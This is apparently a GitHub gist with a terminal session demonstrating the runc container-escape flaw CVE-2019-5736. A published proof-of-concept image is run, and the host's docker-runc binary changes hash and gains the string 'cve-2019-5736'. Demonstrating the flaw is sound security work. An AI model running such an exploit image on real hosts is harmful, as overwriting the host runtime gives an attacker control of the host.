Skip to content

Instantly share code, notes, and snippets.

@strigazi
Created February 12, 2019 23:33
Show Gist options
  • Save strigazi/6b38098186f94c98823ca215cde0dc38 to your computer and use it in GitHub Desktop.
Save strigazi/6b38098186f94c98823ca215cde0dc38 to your computer and use it in GitHub Desktop.
root@strigazi-kubeadm-cluster-02:/home/ubuntu# strings /usr/bin/docker-runc | tail -n5
.debug_str
.debug_loc
.debug_pubtypes
.debug_ranges
.debug_gdb_scripts
root@strigazi-kubeadm-cluster-02:/home/ubuntu# sha256sum /usr/bin/docker-runc
6cd5b2d83cfe84fc59947cf4a17898ebfd03d61e13ce0dc179be787b77104a3a /usr/bin/docker-runc
root@strigazi-kubeadm-cluster-02:/home/ubuntu# /usr/bin/docker-runc --version
runc version 1.0.0-rc5+dev
commit: 69663f0bd4b60df09991c08812a60108003fa340
spec: 1.0.0
root@strigazi-kubeadm-cluster-02:/home/ubuntu# docker run gitlab-registry.cern.ch/strigazi/containers/cve-2019-5736-poc
...
Status: Downloaded newer image for gitlab-registry.cern.ch/strigazi/containers/cve-2019-5736-poc:latest
HAX2: argv: /proc/self/fd/3
HAX2: fd: -1
HAX2: res: -1, 9
root@strigazi-kubeadm-cluster-02:/home/ubuntu# strings /usr/bin/docker-runc | tail -n5
.debug_str
.debug_loc
.debug_pubtypes
.debug_ranges
.debug_gdb_scripts
root@strigazi-kubeadm-cluster-02:/home/ubuntu# sha256sum /usr/bin/docker-runc
6cd5b2d83cfe84fc59947cf4a17898ebfd03d61e13ce0dc179be787b77104a3a /usr/bin/docker-runc
root@strigazi-kubeadm-cluster-02:/home/ubuntu# docker run gitlab-registry.cern.ch/strigazi/containers/cve-2019-5736-poc
HAX2: argv: /proc/self/fd/3
HAX2: fd: 4
HAX2: res: 13, 0
docker: Error response from daemon: OCI runtime state failed: fork/exec /usr/bin/docker-runc: text file busy: : unknown.
ERRO[0000] error waiting for container: context canceled
root@strigazi-kubeadm-cluster-02:/home/ubuntu# sha256sum /usr/bin/docker-runc
37dd00cd60ac43e3fd035265d5a0e5d786b630a927beee79c89d42a68efcfed6 /usr/bin/docker-runc
root@strigazi-kubeadm-cluster-02:/home/ubuntu# strings /usr/bin/docker-runc | tail -n5
.debug_loc
.debug_pubtypes
.debug_ranges
.debug_gdb_scripts
cve-2019-5736
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment